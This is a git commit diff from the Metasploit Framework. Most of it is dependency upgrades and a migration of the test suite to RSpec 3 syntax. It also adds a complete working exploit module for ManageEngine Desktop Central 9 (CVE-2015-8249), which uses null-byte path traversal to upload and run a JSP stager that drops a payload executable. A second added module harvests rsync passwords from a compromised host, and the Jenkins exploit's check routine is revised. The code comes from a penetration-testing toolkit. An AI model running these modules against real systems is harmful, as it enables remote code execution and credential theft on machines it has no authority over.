commit
e9a3f58788
6
Gemfile
6
Gemfile
|
@ -24,14 +24,12 @@ group :development, :test do
|
|||
# automatically include factories from spec/factories
|
||||
gem 'factory_girl_rails', '~> 4.5.0'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat', '1.2.1'
|
||||
gem 'fivemat', '~> 1.3.1'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake', '>= 10.0.0'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12', '< 3.0.0'
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
|
||||
gem 'rspec-rails' , '~> 3.3'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
|
51
Gemfile.lock
51
Gemfile.lock
|
@ -97,7 +97,7 @@ GEM
|
|||
railties (>= 3.0.0)
|
||||
ffi (1.9.8)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.2.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (2.12.2)
|
||||
multi_json (~> 1.3)
|
||||
hike (1.2.3)
|
||||
|
@ -137,14 +137,14 @@ GEM
|
|||
recog (~> 2.0)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.6.1)
|
||||
mini_portile (0.6.2)
|
||||
mini_portile2 (2.0.0)
|
||||
minitest (4.7.5)
|
||||
msgpack (0.7.1)
|
||||
multi_json (1.11.2)
|
||||
multi_test (0.1.2)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
nokogiri (1.6.7)
|
||||
mini_portile2 (~> 2.0.0.rc2)
|
||||
openssl-ccm (1.2.1)
|
||||
packetfu (1.1.11)
|
||||
network_interface (~> 0.0)
|
||||
|
@ -183,25 +183,23 @@ GEM
|
|||
redcarpet (3.2.3)
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec (2.99.0)
|
||||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rspec-collection_matchers (1.1.2)
|
||||
rspec-expectations (>= 2.99.0.beta1)
|
||||
rspec-core (2.99.2)
|
||||
rspec-expectations (2.99.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.99.3)
|
||||
rspec-rails (2.99.0)
|
||||
actionpack (>= 3.0)
|
||||
activemodel (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-collection_matchers
|
||||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rspec-core (3.3.2)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-expectations (3.3.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-mocks (3.3.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-rails (3.3.3)
|
||||
actionpack (>= 3.0, < 4.3)
|
||||
activesupport (>= 3.0, < 4.3)
|
||||
railties (>= 3.0, < 4.3)
|
||||
rspec-core (~> 3.3.0)
|
||||
rspec-expectations (~> 3.3.0)
|
||||
rspec-mocks (~> 3.3.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-support (3.3.0)
|
||||
rubyntlm (0.5.2)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.8.0)
|
||||
|
@ -226,7 +224,7 @@ GEM
|
|||
thread_safe (0.3.5)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.3)
|
||||
tzinfo (0.3.44)
|
||||
tzinfo (0.3.45)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.6)
|
||||
|
@ -238,13 +236,12 @@ DEPENDENCIES
|
|||
aruba
|
||||
cucumber-rails
|
||||
factory_girl_rails (~> 4.5.0)
|
||||
fivemat (= 1.2.1)
|
||||
fivemat (~> 1.3.1)
|
||||
metasploit-framework!
|
||||
pry
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
rspec (>= 2.12, < 3.0.0)
|
||||
rspec-rails (>= 2.12, < 3.0.0)
|
||||
rspec-rails (~> 3.3)
|
||||
shoulda-matchers
|
||||
simplecov
|
||||
timecop
|
||||
|
|
|
@ -204,7 +204,8 @@ module Metasploit
|
|||
Thread.list.reject { |thread|
|
||||
# don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it
|
||||
# won't when not debugging.
|
||||
thread.class.name == 'Debugger::DebugThread'
|
||||
thread.class.name == 'Debugger::DebugThread' ||
|
||||
thread.class.name == 'Debase::DebugThread'
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
|
@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
|
||||
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
|
||||
Opt::RPORT('8080')
|
||||
], self.class)
|
||||
|
@ -61,19 +62,68 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
invoke_remote_method(class_load_payload)
|
||||
end
|
||||
|
||||
|
||||
# This is from the HttpClient mixin. But since this module isn't actually exploiting
|
||||
# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
|
||||
# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.
|
||||
|
||||
def target_uri
|
||||
begin
|
||||
# In case TARGETURI is empty, at least we default to '/'
|
||||
u = datastore['TARGETURI']
|
||||
u = "/" if u.nil? or u.empty?
|
||||
URI(u)
|
||||
rescue ::URI::InvalidURIError
|
||||
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
|
||||
raise Msf::OptionValidateError.new(['TARGETURI'])
|
||||
end
|
||||
end
|
||||
|
||||
def normalize_uri(*strs)
|
||||
new_str = strs * "/"
|
||||
|
||||
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||
|
||||
# Makes sure there's a starting slash
|
||||
unless new_str[0,1] == '/'
|
||||
new_str = '/' + new_str
|
||||
end
|
||||
|
||||
new_str
|
||||
end
|
||||
|
||||
def check
|
||||
result = Exploit::CheckCode::Safe
|
||||
|
||||
begin
|
||||
if vulnerable?
|
||||
result = Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
rescue Msf::Exploit::Failed => e
|
||||
vprint_error(e.message)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def vulnerable?
|
||||
http_headers = send_request_cgi({'uri' => '/'}).headers
|
||||
if http_headers['X-Jenkins'].to_f <= 1.637
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'The connection timed out.')
|
||||
end
|
||||
|
||||
http_headers = res.headers
|
||||
|
||||
unless http_headers['X-Jenkins-CLI-Port']
|
||||
vprint_error('The server does not have the CLI port that is needed for exploitation.')
|
||||
return false
|
||||
end
|
||||
|
||||
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
|
||||
@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -0,0 +1,213 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'nokogiri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in ManageEngine Desktop Central 9. When
|
||||
uploading a 7z file, the FileUploadServlet class does not check the user-controlled
|
||||
ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to
|
||||
inject a null bye at the end of the value to create a malicious file with an arbitrary
|
||||
file type, and then place it under a directory that allows server-side scripts to run,
|
||||
which results in remote code execution under the context of SYSTEM.
|
||||
|
||||
Please note that by default, some ManageEngine Desktop Central versions run on port 8020,
|
||||
but older ones run on port 8040. Also, using this exploit will leave debugging information
|
||||
produced by FileUploadServlet in file rdslog0.txt.
|
||||
|
||||
This exploit was successfully tested on version 9, build 90109 and build 91084.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ],
|
||||
[ 'CVE', '2015-8249']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'ManageEngine Desktop Central 9 on Windows', {} ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Dec 14 2015",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
|
||||
Opt::RPORT(8020)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def jsp_drop_bin(bin_data, output_file)
|
||||
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
||||
jspraw << %Q|<%\n|
|
||||
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
|
||||
|
||||
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
|
||||
|
||||
jspraw << %Q|int numbytes = data.length();\n|
|
||||
|
||||
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
|
||||
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
|
||||
jspraw << %Q|{\n|
|
||||
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
|
||||
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
|
||||
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
|
||||
jspraw << %Q| comb <<= 4;\n|
|
||||
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
|
||||
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
|
||||
jspraw << %Q|}\n|
|
||||
|
||||
jspraw << %Q|outputstream.write(bytes);\n|
|
||||
jspraw << %Q|outputstream.close();\n|
|
||||
jspraw << %Q|%>\n|
|
||||
|
||||
jspraw
|
||||
end
|
||||
|
||||
def jsp_execute_command(command)
|
||||
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
||||
jspraw << %Q|<%\n|
|
||||
jspraw << %Q|try {\n|
|
||||
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
|
||||
jspraw << %Q|} catch (IOException ioe) { }\n|
|
||||
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
|
||||
jspraw << %Q|%>\n|
|
||||
|
||||
jspraw
|
||||
end
|
||||
|
||||
def get_jsp_stager
|
||||
exe = generate_payload_exe(code: payload.encoded)
|
||||
jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
|
||||
# pwd: C:\ManageEngine\DesktopCentral_Server\bin
|
||||
# targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf
|
||||
register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")
|
||||
|
||||
{
|
||||
jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
|
||||
jsp_name: jsp_fname
|
||||
}
|
||||
end
|
||||
|
||||
def get_build_number(res)
|
||||
inputs = res.get_hidden_inputs
|
||||
# The buildNum input is in the first form
|
||||
inputs.first['buildNum']
|
||||
end
|
||||
|
||||
def get_html_title(res)
|
||||
html = res.body
|
||||
n = ::Nokogiri::HTML(html)
|
||||
n.at_xpath('//title').text
|
||||
end
|
||||
|
||||
def check
|
||||
uri = normalize_uri(target_uri.path, '/configurations.do')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error("Connection timed out")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
build_number = get_build_number(res)
|
||||
vprint_status("Found build number: #{build_number}")
|
||||
|
||||
html_title = get_html_title(res)
|
||||
vprint_status("Found title: #{html_title}")
|
||||
|
||||
if build_number <= '91084'
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif /ManageEngine Desktop Central/ === html_title
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def upload_jsp(stager_info)
|
||||
# connectionId is part of the 7z filename
|
||||
# computerName is part of the 7z filename (but will be used due to the null byte injection)
|
||||
# customerId is used as a directory name
|
||||
#
|
||||
# The intended upload path is:
|
||||
# C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\server-data\[customerId]\rds\scr-rec\null-computerName-connectionId.7z
|
||||
# But this will upload to:
|
||||
# C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'fileupload')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'ctype' => 'application/octet-stream',
|
||||
'encode_params' => false,
|
||||
'data' => stager_info[:jsp_payload],
|
||||
'vars_get' => {
|
||||
'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00",
|
||||
'resourceId' => Rex::Text.rand_text_alpha(1),
|
||||
'action' => 'rds_file_upload',
|
||||
'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
|
||||
'customerId' => Rex::Text.rand_text_numeric(rand(10)+5)
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
|
||||
elsif res && res.code != 200
|
||||
fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
|
||||
end
|
||||
end
|
||||
|
||||
def exec_jsp(stager_info)
|
||||
uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
|
||||
elsif res && res.code != 200
|
||||
fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Creating JSP stager")
|
||||
stager_info = get_jsp_stager
|
||||
|
||||
print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
|
||||
upload_jsp(stager_info)
|
||||
|
||||
print_status("Executing stager...")
|
||||
exec_jsp(stager_info)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,113 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'UNIX Gather RSYNC Credentials',
|
||||
'Description' => %q(
|
||||
Post Module to obtain credentials saved for RSYNC in various locations
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
|
||||
'SessionTypes' => %w(shell)
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER_CONFIG', [false, 'Attempt to get passwords from this RSYNC ' \
|
||||
'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf'])
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def setup
|
||||
@user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG']
|
||||
end
|
||||
|
||||
def dump_rsync_secrets(config_file)
|
||||
vprint_status("Attempting to get RSYNC creds from #{config_file}")
|
||||
creds_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "RSYNC credentials from #{config_file}",
|
||||
'Columns' => %w(Username Password Module)
|
||||
)
|
||||
|
||||
# read the rsync configuration file, extracting the 'secrets file'
|
||||
# directive for any rsync modules (shares) within
|
||||
rsync_config = Rex::Parser::Ini.new(config_file)
|
||||
# https://github.com/rapid7/metasploit-framework/issues/6265
|
||||
rsync_config.each_key do |rmodule|
|
||||
# XXX: Ini assumes anything on either side of the = is the key and value,
|
||||
# including spaces, so we need to fix this
|
||||
module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }]
|
||||
next unless (secrets_file = module_config['secrets file'])
|
||||
read_file(secrets_file).split(/\n/).map do |line|
|
||||
next if line =~ /^#/
|
||||
if /^(?<user>[^:]+):(?<password>.*)$/ =~ line
|
||||
creds_table << [ user, password, rmodule ]
|
||||
report_rsync_cred(user, password, rmodule)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return if creds_table.rows.empty?
|
||||
|
||||
print_line(creds_table.to_s)
|
||||
end
|
||||
|
||||
def report_rsync_cred(user, password, rmodule)
|
||||
credential_data = {
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: refname,
|
||||
username: user,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
realm_value: rmodule,
|
||||
# XXX: add to MDM?
|
||||
#realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
address: session.session_host,
|
||||
# TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the
|
||||
# 'port' directive in the global part of the rsyncd configuration file.
|
||||
# Unfortunately, Rex::Parser::Ini does not support parsing this just yet
|
||||
port: 873,
|
||||
protocol: "tcp",
|
||||
service_name: "rsync",
|
||||
core: credential_core,
|
||||
access_level: "User",
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
# build up a list of rsync configuration files to read, including the
|
||||
# default location of the daemon config as well as any per-user
|
||||
# configuration files that may exist (rare)
|
||||
config_path = datastore['RSYNCD_CONFIG']
|
||||
config_files = Set.new([ config_path ])
|
||||
config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config
|
||||
config_files.map { |config_file| dump_rsync_secrets(config_file) }
|
||||
end
|
||||
end
|
|
@ -1,7 +1,7 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
||||
RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
||||
self.use_transactional_fixtures = false
|
||||
|
||||
def database_configurations
|
||||
|
@ -44,13 +44,13 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
|||
end
|
||||
|
||||
context 'in thread with connection' do
|
||||
it { should be_truthy }
|
||||
it { is_expected.to be_truthy }
|
||||
end
|
||||
|
||||
context 'in thread without connection' do
|
||||
it 'should be false' do
|
||||
thread = Thread.new do
|
||||
Thread.current.should_not == main_thread
|
||||
expect(Thread.current).not_to eq main_thread
|
||||
expect(active_connection?).to be_falsey
|
||||
end
|
||||
|
||||
|
@ -69,7 +69,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
|||
end
|
||||
|
||||
it 'should call #current_connection_id' do
|
||||
connection_pool.should_receive(
|
||||
expect(connection_pool).to receive(
|
||||
:current_connection_id
|
||||
).at_least(
|
||||
:once
|
||||
|
@ -80,7 +80,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
|||
|
||||
it 'should yield #connection' do
|
||||
connection = double('Connection')
|
||||
connection_pool.stub(:connection => connection)
|
||||
allow(connection_pool).to receive(:connection).and_return(connection)
|
||||
|
||||
expect { |block|
|
||||
connection_pool.with_connection(&block)
|
||||
|
@ -166,18 +166,18 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
|||
child_count = reserved_connection_count
|
||||
count_change = child_count - before_count
|
||||
|
||||
count_change.should == 1
|
||||
expect(count_change).to eq 1
|
||||
|
||||
connection_pool.with_connection do
|
||||
grandchild_count = reserved_connection_count
|
||||
|
||||
grandchild_count.should == child_count
|
||||
expect(grandchild_count).to eq child_count
|
||||
end
|
||||
end
|
||||
|
||||
after_count = reserved_connection_count
|
||||
|
||||
after_count.should == before_count
|
||||
expect(after_count).to eq before_count
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -197,7 +197,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
|||
connection_pool.with_connection do
|
||||
inside = reserved_connection_count
|
||||
|
||||
inside.should == outside
|
||||
expect(inside).to eq outside
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
describe Metasploit::Framework::CredentialCollection do
|
||||
RSpec.describe Metasploit::Framework::CredentialCollection do
|
||||
|
||||
subject(:collection) do
|
||||
described_class.new(
|
||||
|
@ -33,7 +33,7 @@ describe Metasploit::Framework::CredentialCollection do
|
|||
let(:user_file) do
|
||||
filename = "foo"
|
||||
stub_file = StringIO.new("asdf\njkl\n")
|
||||
File.stub(:open).with(filename,/^r/).and_yield stub_file
|
||||
allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file
|
||||
|
||||
filename
|
||||
end
|
||||
|
@ -51,7 +51,7 @@ describe Metasploit::Framework::CredentialCollection do
|
|||
let(:pass_file) do
|
||||
filename = "foo"
|
||||
stub_file = StringIO.new("asdf\njkl\n")
|
||||
File.stub(:open).with(filename,/^r/).and_return stub_file
|
||||
allow(File).to receive(:open).with(filename,/^r/).and_return stub_file
|
||||
|
||||
filename
|
||||
end
|
||||
|
@ -71,7 +71,7 @@ describe Metasploit::Framework::CredentialCollection do
|
|||
let(:userpass_file) do
|
||||
filename = "foo"
|
||||
stub_file = StringIO.new("asdf jkl\nfoo bar\n")
|
||||
File.stub(:open).with(filename,/^r/).and_yield stub_file
|
||||
allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file
|
||||
|
||||
filename
|
||||
end
|
||||
|
@ -90,14 +90,14 @@ describe Metasploit::Framework::CredentialCollection do
|
|||
let(:user_file) do
|
||||
filename = "user_file"
|
||||
stub_file = StringIO.new("asdf\njkl\n")
|
||||
File.stub(:open).with(filename,/^r/).and_yield stub_file
|
||||
allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file
|
||||
|
||||
filename
|
||||
end
|
||||
let(:pass_file) do
|
||||
filename = "pass_file"
|
||||
stub_file = StringIO.new("asdf\njkl\n")
|
||||
File.stub(:open).with(filename,/^r/).and_return stub_file
|
||||
allow(File).to receive(:open).with(filename,/^r/).and_return stub_file
|
||||
|
||||
filename
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/credential'
|
||||
|
||||
describe Metasploit::Framework::Credential do
|
||||
RSpec.describe Metasploit::Framework::Credential do
|
||||
|
||||
subject(:cred_detail) {
|
||||
described_class.new
|
||||
|
@ -13,12 +13,12 @@ describe Metasploit::Framework::Credential do
|
|||
let(:realm_type) { Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN }
|
||||
let(:private_type) { :password }
|
||||
|
||||
it { should respond_to :paired }
|
||||
it { should respond_to :private }
|
||||
it { should respond_to :private_type }
|
||||
it { should respond_to :public }
|
||||
it { should respond_to :realm }
|
||||
it { should respond_to :realm_key }
|
||||
it { is_expected.to respond_to :paired }
|
||||
it { is_expected.to respond_to :private }
|
||||
it { is_expected.to respond_to :private_type }
|
||||
it { is_expected.to respond_to :public }
|
||||
it { is_expected.to respond_to :realm }
|
||||
it { is_expected.to respond_to :realm_key }
|
||||
|
||||
describe "#paired" do
|
||||
it "defaults to true" do
|
||||
|
@ -86,9 +86,9 @@ describe Metasploit::Framework::Credential do
|
|||
subject(:cred_detail) do
|
||||
described_class.new(public: public, private: private, realm: realm)
|
||||
end
|
||||
it { should respond_to :to_credential }
|
||||
it { is_expected.to respond_to :to_credential }
|
||||
it "should return self" do
|
||||
cred_detail.to_credential.should eq(cred_detail)
|
||||
expect(cred_detail.to_credential).to eq(cred_detail)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -660,7 +660,7 @@ RSpec.describe Metasploit::Framework::Database do
|
|||
end
|
||||
|
||||
before(:each) do
|
||||
expect(Msf::Config).to receive(:get_config_root).and_return(config_root)
|
||||
allow(Msf::Config).to receive(:get_config_root).and_return(config_root)
|
||||
end
|
||||
|
||||
it 'is database.yml under the user config root' do
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/jtr/cracker'
|
||||
|
||||
describe Metasploit::Framework::JtR::Cracker do
|
||||
RSpec.describe Metasploit::Framework::JtR::Cracker do
|
||||
|
||||
subject(:cracker) { described_class.new }
|
||||
let(:john_path) { '/path/to/john' }
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/jtr/invalid_wordlist'
|
||||
|
||||
describe Metasploit::Framework::JtR::InvalidWordlist do
|
||||
RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do
|
||||
|
||||
subject(:invalid) do
|
||||
described_class.new(model)
|
||||
|
@ -17,10 +17,10 @@ describe Metasploit::Framework::JtR::InvalidWordlist do
|
|||
end
|
||||
end
|
||||
|
||||
it { should be_a StandardError }
|
||||
it { is_expected.to be_a StandardError }
|
||||
|
||||
it 'should use ActiveModel::Errors#full_messages' do
|
||||
model.errors.should_receive(:full_messages).and_call_original
|
||||
expect(model.errors).to receive(:full_messages).and_call_original
|
||||
|
||||
described_class.new(model)
|
||||
end
|
||||
|
@ -31,7 +31,7 @@ describe Metasploit::Framework::JtR::InvalidWordlist do
|
|||
end
|
||||
|
||||
it 'should be the passed in model' do
|
||||
error_model.should == model
|
||||
expect(error_model).to eq model
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/jtr/wordlist'
|
||||
|
||||
describe Metasploit::Framework::JtR::Wordlist do
|
||||
RSpec.describe Metasploit::Framework::JtR::Wordlist do
|
||||
|
||||
subject(:wordlist) { described_class.new }
|
||||
|
||||
|
@ -28,15 +28,15 @@ describe Metasploit::Framework::JtR::Wordlist do
|
|||
"p@$$w0rd"
|
||||
] }
|
||||
|
||||
it { should respond_to :appenders }
|
||||
it { should respond_to :custom_wordlist }
|
||||
it { should respond_to :mutate }
|
||||
it { should respond_to :prependers }
|
||||
it { should respond_to :use_common_root }
|
||||
it { should respond_to :use_creds }
|
||||
it { should respond_to :use_db_info }
|
||||
it { should respond_to :use_default_wordlist }
|
||||
it { should respond_to :use_hostnames }
|
||||
it { is_expected.to respond_to :appenders }
|
||||
it { is_expected.to respond_to :custom_wordlist }
|
||||
it { is_expected.to respond_to :mutate }
|
||||
it { is_expected.to respond_to :prependers }
|
||||
it { is_expected.to respond_to :use_common_root }
|
||||
it { is_expected.to respond_to :use_creds }
|
||||
it { is_expected.to respond_to :use_db_info }
|
||||
it { is_expected.to respond_to :use_default_wordlist }
|
||||
it { is_expected.to respond_to :use_hostnames }
|
||||
|
||||
describe 'validations' do
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/afp'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::AFP do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::AFP do
|
||||
|
||||
subject(:scanner) { described_class.new }
|
||||
|
||||
|
@ -10,7 +10,7 @@ describe Metasploit::Framework::LoginScanner::AFP do
|
|||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
it_behaves_like 'Metasploit::Framework::Tcp::Client'
|
||||
|
||||
it { should respond_to :login_timeout }
|
||||
it { is_expected.to respond_to :login_timeout }
|
||||
|
||||
describe "#attempt_login" do
|
||||
let(:pub_blank) do
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/axis2'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Axis2 do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Axis2 do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
